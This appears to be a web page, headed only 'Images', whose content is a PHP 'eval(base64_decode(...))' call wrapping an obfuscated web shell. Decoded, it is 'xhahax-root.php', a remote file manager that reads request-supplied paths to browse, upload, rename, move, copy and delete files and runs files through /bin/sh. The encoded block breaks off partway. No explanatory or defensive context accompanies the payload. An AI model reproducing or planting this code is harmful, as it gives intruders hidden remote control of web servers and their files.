Images

  • <? 
eval(base64_decode('LyoNCiAqIHhoYWhheC1yb290LnBocA0KICogQ29weXJpZ2h0IChDKSAyMDA4IDx4N184OEBob3Rt
YWlsLmNvbT4NCiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAqIDx4N184OEBob3RtYWlsLmNvbT4NCiAq
ICAgIHhoYWhheC1yb290LnBocCBjb21wbGV0ZWx5IHJld3JpdHRlbjoNCiAqICAgIC0gY2xlYW4g
WEhUTUwvQ1NTIG91dHB1dA0KICogICAgLSBzZXZlcmFsIGZpbGVzIHNlbGVjdGFibGUNCiAqICAg
IC0gc3VwcG9ydCBmb3Igd2luZG93cyBzZXJ2ZXJzDQogKiAgICAtIG5vIG1vcmUgdHJlZXZpZXcs
IGJlY2F1c2UNCiAqICAgIC0geGhhaGF4LXJvb3QucGhwIGlzIGEgPnNpbXBsZTwgZmlsZSBtYW5h
Z2VyDQogKiAgICAtIHBlcmZvcm1hbmNlIHByb2JsZW1zICh0b28gbXVjaCBhZGRpdGlvbmFsIGNv
ZGUpDQogKiAgICAtIEkgZG9uJ3QgbGlrZTogZnJhbWVzLCBqYXZhLXNjcmlwdCwgdG8gcmVsb2Fk
IGFmdGVyIGV2ZXJ5IHRyZWV2aWV3LWNsaWNrDQogKiAgICAtIGV4ZWN1dGlvbiBvZiBzaGVsbCBz
Y3JpcHRzDQogKiAgICAtIGludHJvZHVjZWQgcmV2aXNpb24gbnVtYmVycw0KLyogLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLSAqLw0KDQovKiBZb3VyIGxhbmd1YWdlOg0KICogJ2VuJyAtIEVuZ2xpc2gNCiAqLw0K
JGxhbmcgPSAnZW4nOw0KDQovKiBDaGFyc2V0IG9mIHlvdXIgZmlsZW5hbWVzOg0KICovDQokY2hh
cnNldCA9ICdJU08tODg1OS0xJzsNCg0KLyogSG9tZWRpcjoNCiAqIEZvciBleGFtcGxlOiAnLi8n
IC0gdGhlIHNjcmlwdCdzIGRpcmVjdG9yeQ0KICovDQokaG9tZWRpciA9ICcuLyc7DQoNCi8qIFNp
emUgb2YgdGhlIGVkaXQgdGV4dGFyZWENCiAqLw0KJGVkaXRjb2xzID0gNzI7DQokZWRpdHJvd3Mg
PSAxODsNCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0K
ICogT3B0aW9uYWwgY29uZmlndXJhdGlvbiAocmVtb3ZlICMgdG8gZW5hYmxlKQ0KICovDQoNCi8q
IFBlcm1pc3Npb24gb2YgY3JlYXRlZCBkaXJlY3RvcmllczoNCiAqIEZvciBleGFtcGxlOiAwNzA1
IHdvdWxkIGJlICdkcnd4LS0tci14Jy4NCiAqLw0KIyAkZGlycGVybWlzc2lvbiA9IDA3MDU7DQoN
Ci8qIFBlcm1pc3Npb24gb2YgY3JlYXRlZCBmaWxlczoNCiAqIEZvciBleGFtcGxlOiAwNjA0IHdv
dWxkIGJlICctcnctLS0tci0tJy4NCiAqLw0KIyAkZmlsZXBlcm1pc3Npb24gPSAwNjA0Ow0KDQov
KiBGaWxlbmFtZXMgcmVsYXRlZCB0byB0aGUgYXBhY2hlIHdlYiBzZXJ2ZXI6DQogKi8NCiRodGFj
Y2VzcyA9ICcuaHRhY2Nlc3MnOw0KJGh0cGFzc3dkID0gJy5odHBhc3N3ZCc7DQoNCi8qIC0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0gKi8NCg0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCglhcnJheV93
YWxrKCRfR0VULCAnc3RyaXAnKTsNCglhcnJheV93YWxrKCRfUE9TVCwgJ3N0cmlwJyk7DQoJYXJy
YXlfd2FsaygkX1JFUVVFU1QsICdzdHJpcCcpOw0KfQ0KDQppZiAoYXJyYXlfa2V5X2V4aXN0cygn
aW1hZ2UnLCAkX0dFVCkpIHsNCgloZWFkZXIoJ0NvbnRlbnQtVHlwZTogaW1hZ2UvZ2lmJyk7DQoJ
ZGllKGdldGltYWdlKCRfR0VUWydpbWFnZSddKSk7DQp9DQoNCiRkZWxpbSA9IERJUkVDVE9SWV9T
RVBBUkFUT1I7DQoNCmlmIChmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpKSB7DQoJJHdpbiA9
IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PT0gJ1dJTicpID8gdHJ1ZSA6IGZh
bHNlOw0KfSBlbHNlIHsNCgkkd2luID0gKCRkZWxpbSA9PSAnXFwnKSA/IHRydWUgOiBmYWxzZTsN
Cn0NCg0KaWYgKCFlbXB0eSgkX1NFUlZFUlsnUEFUSF9UUkFOU0xBVEVEJ10pKSB7DQoJJHNjcmlw
dGRpciA9IGRpcm5hbWUoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKTsNCn0gZWxzZWlmICgh
ZW1wdHkoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSkgew0KCSRzY3JpcHRkaXIgPSBkaXJu
YW1lKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7DQp9IGVsc2VpZiAoZnVuY3Rpb25fZXhp
c3RzKCdnZXRjd2QnKSkgew0KCSRzY3JpcHRkaXIgPSBnZXRjd2QoKTsNCn0gZWxzZSB7DQoJJHNj
cmlwdGRpciA9ICcuJzsNCn0NCiRob21lZGlyID0gcmVsYXRpdmUyYWJzb2x1dGUoJGhvbWVkaXIs
ICRzY3JpcHRkaXIpOw0KDQokZGlyID0gKGFycmF5X2tleV9leGlzdHMoJ2RpcicsICRfUkVRVUVT
VCkpID8gJF9SRVFVRVNUWydkaXInXSA6ICRob21lZGlyOw0KDQppZiAoYXJyYXlfa2V5X2V4aXN0
cygnb2xkZGlyJywgJF9QT1NUKSAmJiAhcGF0aF9pc19yZWxhdGl2ZSgkX1BPU1RbJ29sZGRpcidd
KSkgew0KCSRkaXIgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZGlyLCAkX1BPU1RbJ29sZGRpciddKTsN
Cn0NCg0KJGRpcmVjdG9yeSA9IHNpbXBsaWZ5X3BhdGgoYWRkc2xhc2goJGRpcikpOw0KDQokZmls
ZXMgPSBhcnJheSgpOw0KJGFjdGlvbiA9ICcnOw0KaWYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF9h
bGwnXSkpIHsNCgkkYWN0aW9uID0gJF9QT1NUWydhY3Rpb25fYWxsJ107DQoJZm9yICgkaSA9IDA7
ICRpIDwgJF9QT1NUWydudW0nXTsgJGkrKykgew0KCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygiY2hl
Y2tlZCRpIiwgJF9QT1NUKSAmJiAkX1BPU1RbImNoZWNrZWQkaSJdID09ICd0cnVlJykgew0KCQkJ
JGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOw0KCQl9DQoJfQ0KfSBlbHNlaWYgKCFlbXB0eSgk
X1JFUVVFU1RbJ2FjdGlvbiddKSkgew0KCSRhY3Rpb24gPSAkX1JFUVVFU1RbJ2FjdGlvbiddOw0K
CSRmaWxlc1tdID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9SRVFVRVNUWydmaWxlJ10sICRkaXJlY3Rv
cnkpOw0KfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF91cGxvYWQnXSkgJiYgIWVtcHR5
KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKSB7DQoJJGZpbGVzW10gPSAkX0ZJTEVTWyd1cGxv
YWQnXTsNCgkkYWN0aW9uID0gJ3VwbG9hZCc7DQp9IGVsc2VpZiAoYXJyYXlfa2V5X2V4aXN0cygn
bnVtJywgJF9QT1NUKSkgew0KCWZvciAoJGkgPSAwOyAkaSA8ICRfUE9TVFsnbnVtJ107ICRpKysp
IHsNCgkJaWYgKGFycmF5X2tleV9leGlzdHMoInN1Ym1pdCRpIiwgJF9QT1NUKSkgYnJlYWs7DQoJ
fQ0KCWlmICgkaSA8ICRfUE9TVFsnbnVtJ10pIHsNCgkJJGFjdGlvbiA9ICRfUE9TVFsiYWN0aW9u
JGkiXTsNCgkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOw0KCX0NCn0NCmlmIChlbXB0eSgk
YWN0aW9uKSAmJiAoIWVtcHR5KCRfUE9TVFsnc3VibWl0X2NyZWF0ZSddKSB8fCAoYXJyYXlfa2V5
X2V4aXN0cygnZm9jdXMnLCAkX1BPU1QpICYmICRfUE9TVFsnZm9jdXMnXSA9PSAnY3JlYXRlJykp
ICYmICFlbXB0eSgkX1BPU1RbJ2NyZWF0ZV9uYW1lJ10pKSB7DQoJJGZpbGVzW10gPSByZWxhdGl2
ZTJhYnNvbHV0ZSgkX1BPU1RbJ2NyZWF0ZV9uYW1lJ10sICRkaXJlY3RvcnkpOw0KCXN3aXRjaCAo
JF9QT1NUWydjcmVhdGVfdHlwZSddKSB7DQoJY2FzZSAnZGlyZWN0b3J5JzoNCgkJJGFjdGlvbiA9
ICdjcmVhdGVfZGlyZWN0b3J5JzsNCgkJYnJlYWs7DQoJY2FzZSAnZmlsZSc6DQoJCSRhY3Rpb24g
PSAnY3JlYXRlX2ZpbGUnOw0KCX0NCn0NCmlmIChzaXplb2YoJGZpbGVzKSA9PSAwKSAkYWN0aW9u
ID0gJyc7IGVsc2UgJGZpbGUgPSByZXNldCgkZmlsZXMpOw0KDQokd29yZHMgPSBnZXR3b3Jkcygk
bGFuZyk7DQoNCiRjb2xzID0gKCR3aW4pID8gNCA6IDc7DQoNCmlmICghaXNzZXQoJGRpcnBlcm1p
c3Npb24pKSB7DQoJJGRpcnBlcm1pc3Npb24gPSAoZnVuY3Rpb25fZXhpc3RzKCd1bWFzaycpKSA/
ICgwNzc3ICYgfnVtYXNrKCkpIDogMDc1NTsNCn0NCmlmICghaXNzZXQoJGZpbGVwZXJtaXNzaW9u
KSkgew0KCSRmaWxlcGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA2
NjYgJiB+dW1hc2soKSkgOiAwNjQ0Ow0KfQ0KDQppZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRf
TkFNRSddKSkgew0KCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUn
XSkpOw0KfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpIHsNCgkkc2VsZiA9
IGh0bWwoYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKTsNCn0gZWxzZSB7DQoJJHNlbGYg
PSAnJzsNCn0NCg0KaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKSB7DQoJ
aWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSwgMCwgNikp
ID09ICdhcGFjaGUnKSB7DQoJCSRhcGFjaGUgPSB0cnVlOw0KCX0gZWxzZSB7DQoJCSRhcGFjaGUg
PSBmYWxzZTsNCgl9DQp9IGVsc2Ugew0KCSRhcGFjaGUgPSB0cnVlOw0KfQ0KDQpzd2l0Y2ggKCRh
Y3Rpb24pIHsNCg0KY2FzZSAndmlldyc6DQoNCglpZiAoaXNfc2NyaXB0KCRmaWxlKSkgew0KDQoJ
CS8qIGhpZ2hsaWdodF9maWxlIGlzIGEgbWVzcyEgKi8NCgkJb2Jfc3RhcnQoKTsNCgkJaGlnaGxp
Z2h0X2ZpbGUoJGZpbGUpOw0KCQkkc3JjID0gZXJlZ19yZXBsYWNlKCc8Zm9udCBjb2xvcj0iKFte
Il0qKSI+JywgJzxzcGFuIHN0eWxlPSJjb2xvcjogXDEiPicsIG9iX2dldF9jb250ZW50cygpKTsN
CgkJJHNyYyA9IHN0cl9yZXBsYWNlKGFycmF5KCc8L2ZvbnQ+JywgIlxyIiwgIlxuIiksIGFycmF5
KCc8L3NwYW4+JywgJycsICcnKSwgJHNyYyk7DQoJCW9iX2VuZF9jbGVhbigpOw0KDQoJCWh0bWxf
aGVhZGVyKCk7DQoJCWVjaG8gJzxoMiBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsgbWFyZ2luLWJv
dHRvbTogMCI+JyAuIGh0bWwoJGZpbGUpIC4gJzwvaDI+DQoNCjxociAvPg0KDQo8dGFibGU+DQo8
dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wOyBj
b2xvcjogZ3JheTsgcGFkZGluZy1yaWdodDogM3B0OyBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBn
cmF5Ij4NCjxwcmUgc3R5bGU9Im1hcmdpbi10b3A6IDAiPjxjb2RlPic7DQoNCgkJZm9yICgkaSA9
IDE7ICRpIDw9IHNpemVvZihmaWxlKCRmaWxlKSk7ICRpKyspIGVjaG8gIiRpXG4iOw0KDQoJCWVj
aG8gJzwvY29kZT48L3ByZT4NCjwvdGQ+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZl
cnRpY2FsLWFsaWduOiB0b3A7IHBhZGRpbmctbGVmdDogM3B0Ij4NCjxwcmUgc3R5bGU9Im1hcmdp
bi10b3A6IDAiPicgLiAkc3JjIC4gJzwvcHJlPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQon
Ow0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9IGVsc2Ugew0KDQoJCWhlYWRlcignQ29udGVudC1U
eXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0
aW9uOiBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpKTsNCg0KCQlyZWFkZmlsZSgkZmlsZSk7
DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZG93bmxvYWQnOg0KDQoJaGVhZGVyKCdQcmFnbWE6
IHB1YmxpYycpOw0KCWhlYWRlcignRXhwaXJlczogMCcpOw0KCWhlYWRlcignQ2FjaGUtQ29udHJv
bDogbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wJyk7DQoJaGVhZGVy
KCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOw0KCWhlYWRlcignQ29udGVu
dC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSAu
ICc7Jyk7DQoJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlKSk7DQoN
CglyZWFkZmlsZSgkZmlsZSk7DQoNCglicmVhazsNCg0KY2FzZSAndXBsb2FkJzoNCg0KCSRkZXN0
ID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVbJ25hbWUnXSwgJGRpcmVjdG9yeSk7DQoNCglpZiAo
QGZpbGVfZXhpc3RzKCRkZXN0KSkgew0KCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhp
c3RzJywgJGRlc3QpKTsNCgl9IGVsc2VpZiAoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1w
X25hbWUnXSwgJGRlc3QpKSB7DQoJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3VwbG9hZGVkJywgJGZp
bGVbJ25hbWUnXSkpOw0KCX0gZWxzZSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3VwbG9h
ZGVkJywgJGZpbGVbJ25hbWUnXSkpOw0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdjcmVhdGVfZGly
ZWN0b3J5JzoNCg0KCWlmIChAZmlsZV9leGlzdHMoJGZpbGUpKSB7DQoJCWxpc3RpbmdfcGFnZShl
cnJvcignYWxyZWFkeV9leGlzdHMnLCAkZmlsZSkpOw0KCX0gZWxzZSB7DQoJCSRvbGQgPSBAdW1h
c2soMDc3NyAmIH4kZGlycGVybWlzc2lvbik7DQoJCWlmIChAbWtkaXIoJGZpbGUsICRkaXJwZXJt
aXNzaW9uKSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnY3JlYXRlZCcsICRmaWxlKSk7DQoJ
CX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9jcmVhdGVkJywgJGZpbGUpKTsN
CgkJfQ0KCQlAdW1hc2soJG9sZCk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9maWxl
JzoNCg0KCWlmIChAZmlsZV9leGlzdHMoJGZpbGUpKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcign
YWxyZWFkeV9leGlzdHMnLCAkZmlsZSkpOw0KCX0gZWxzZSB7DQoJCSRvbGQgPSBAdW1hc2soMDc3
NyAmIH4kZmlsZXBlcm1pc3Npb24pOw0KCQlpZiAoQHRvdWNoKCRmaWxlKSkgew0KCQkJZWRpdCgk
ZmlsZSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9jcmVhdGVkJywg
JGZpbGUpKTsNCgkJfQ0KCQlAdW1hc2soJG9sZCk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2V4
ZWN1dGUnOg0KDQoJY2hkaXIoZGlybmFtZSgkZmlsZSkpOw0KDQoJJG91dHB1dCA9IGFycmF5KCk7
DQoJJHJldHZhbCA9IDA7DQoJZXhlYygnZWNobyAiLi8nIC4gYmFzZW5hbWUoJGZpbGUpIC4gJyIg
fCAvYmluL3NoJywgJG91dHB1dCwgJHJldHZhbCk7DQoNCgkkZXJyb3IgPSAoJHJldHZhbCA9PSAw
KSA/IGZhbHNlIDogdHJ1ZTsNCg0KCWlmIChzaXplb2YoJG91dHB1dCkgPT0gMCkgJG91dHB1dCA9
IGFycmF5KCc8JyAuICR3b3Jkc1snbm9fb3V0cHV0J10gLiAnPicpOw0KDQoJaWYgKCRlcnJvcikg
ew0KCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9leGVjdXRlZCcsICRmaWxlLCBpbXBsb2RlKCJc
biIsICRvdXRwdXQpKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgnZXhlY3V0
ZWQnLCAkZmlsZSwgaW1wbG9kZSgiXG4iLCAkb3V0cHV0KSkpOw0KCX0NCg0KCWJyZWFrOw0KDQpj
YXNlICdkZWxldGUnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ25vJ10pKSB7DQoJCWxpc3Rpbmdf
cGFnZShudWxsKTsNCgl9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFsneWVzJ10pKSB7DQoNCgkJJGZh
aWx1cmUgPSBhcnJheSgpOw0KCQkkc3VjY2VzcyA9IGFycmF5KCk7DQoNCgkJZm9yZWFjaCAoJGZp
bGVzIGFzICRmaWxlKSB7DQoJCQlpZiAoZGVsKCRmaWxlKSkgew0KCQkJCSRzdWNjZXNzW10gPSAk
ZmlsZTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJfQ0KCQl9DQoN
CgkJJG1lc3NhZ2UgPSAnJzsNCgkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7DQoJCQkkbWVz
c2FnZSA9IGVycm9yKCdub3RfZGVsZXRlZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpKTsNCgkJ
fQ0KCQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsNCgkJCSRtZXNzYWdlIC49IG5vdGljZSgn
ZGVsZXRlZCcsIGltcGxvZGUoIlxuIiwgJHN1Y2Nlc3MpKTsNCgkJfQ0KDQoJCWxpc3RpbmdfcGFn
ZSgkbWVzc2FnZSk7DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAn
PGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNsYXNz
PSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KJzsNCg0KCQlyZXF1ZXN0X2R1
bXAoKTsNCg0KCQllY2hvICJcdDxiPiIgLiB3b3JkKCdyZWFsbHlfZGVsZXRlJykgLiAnPC9iPg0K
CTxwPg0KJzsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCWVjaG8gIlx0IiAu
IGh0bWwoJGZpbGUpIC4gIjxiciAvPlxuIjsNCgkJfQ0KDQoJCWVjaG8gJwk8L3A+DQoJPGhyIC8+
DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibm8iIHZhbHVlPSInIC4gd29yZCgnbm8nKSAu
ICciIGlkPSJyZWRfYnV0dG9uIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InllcyIg
dmFsdWU9IicgLiB3b3JkKCd5ZXMnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJn
aW4tbGVmdDogNTBweCIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCg0KJzsN
Cg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ3JlbmFtZSc6DQoN
CglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0
aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYg
KCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEByZW5hbWUoJGZpbGUsICRkZXN0KSkgew0KCQkJbGlz
dGluZ19wYWdlKG5vdGljZSgncmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9IGVsc2Ugew0K
CQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfcmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9
DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9u
PSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+
DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
YWN0aW9uIiB2YWx1ZT0icmVuYW1lIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZp
bGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4i
IG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8Yj4nIC4g
d29yZCgncmVuYW1lX2ZpbGUnKSAuICc8L2I+DQoJPHA+JyAuIGh0bWwoJGZpbGUpIC4gJzwvcD4N
Cgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRl
eHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZmlsZSkgLiAn
IiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2
YWx1ZT0iJyAuIHdvcmQoJ3JlbmFtZScpIC4gJyIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4N
Cg0KPHA+PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5
KSAuICciPlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsN
Cg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ21vdmUnOg0KDQoJ
aWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7DQoNCgkJJGRlc3QgPSByZWxhdGl2
ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOw0KDQoJCSRmYWls
dXJlID0gYXJyYXkoKTsNCgkJJHN1Y2Nlc3MgPSBhcnJheSgpOw0KDQoJCWZvcmVhY2ggKCRmaWxl
cyBhcyAkZmlsZSkgew0KCQkJJGZpbGVuYW1lID0gc3Vic3RyKCRmaWxlLCBzdHJsZW4oJGRpcmVj
dG9yeSkpOw0KCQkJJGQgPSAkZGVzdCAuICRmaWxlbmFtZTsNCgkJCWlmICghQGZpbGVfZXhpc3Rz
KCRkKSAmJiBAcmVuYW1lKCRmaWxlLCAkZCkpIHsNCgkJCQkkc3VjY2Vzc1tdID0gJGZpbGU7DQoJ
CQl9IGVsc2Ugew0KCQkJCSRmYWlsdXJlW10gPSAkZmlsZTsNCgkJCX0NCgkJfQ0KDQoJCSRtZXNz
YWdlID0gJyc7DQoJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgew0KCQkJJG1lc3NhZ2UgPSBl
cnJvcignbm90X21vdmVkJywgaW1wbG9kZSgiXG4iLCAkZmFpbHVyZSksICRkZXN0KTsNCgkJfQ0K
CQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsNCgkJCSRtZXNzYWdlIC49IG5vdGljZSgnbW92
ZWQnLCBpbXBsb2RlKCJcbiIsICRzdWNjZXNzKSwgJGRlc3QpOw0KCQl9DQoNCgkJbGlzdGluZ19w
YWdlKCRtZXNzYWdlKTsNCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hv
ICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBj
bGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCic7DQoNCgkJcmVxdWVz
dF9kdW1wKCk7DQoNCgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgnbW92ZV9maWxlcycpIC4gJzwvYj4N
Cgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIg
LiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7DQoJCX0NCg0KCQllY2hvICcJPC9wPg0KCTxociAv
Pg0KCScgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzoNCgk8aW5wdXQgdHlwZT0idGV4dCIgbmFt
ZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIg
dmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0
IiB2YWx1ZT0iJyAuIHdvcmQoJ21vdmUnKSAuICciIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+
DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9y
eSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7
DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdjb3B5JzoNCg0K
CWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVsYXRp
dmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQlpZiAo
QGlzX2RpcigkZGVzdCkpIHsNCg0KCQkJJGZhaWx1cmUgPSBhcnJheSgpOw0KCQkJJHN1Y2Nlc3Mg
PSBhcnJheSgpOw0KDQoJCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCQkkZmlsZW5h
bWUgPSBzdWJzdHIoJGZpbGUsIHN0cmxlbigkZGlyZWN0b3J5KSk7DQoJCQkJJGQgPSBhZGRzbGFz
aCgkZGVzdCkgLiAkZmlsZW5hbWU7DQoJCQkJaWYgKCFAaXNfZGlyKCRmaWxlKSAmJiAhQGZpbGVf
ZXhpc3RzKCRkKSAmJiBAY29weSgkZmlsZSwgJGQpKSB7DQoJCQkJCSRzdWNjZXNzW10gPSAkZmls
ZTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZmFpbHVyZVtdID0gJGZpbGU7DQoJCQkJfQ0KCQkJfQ0K
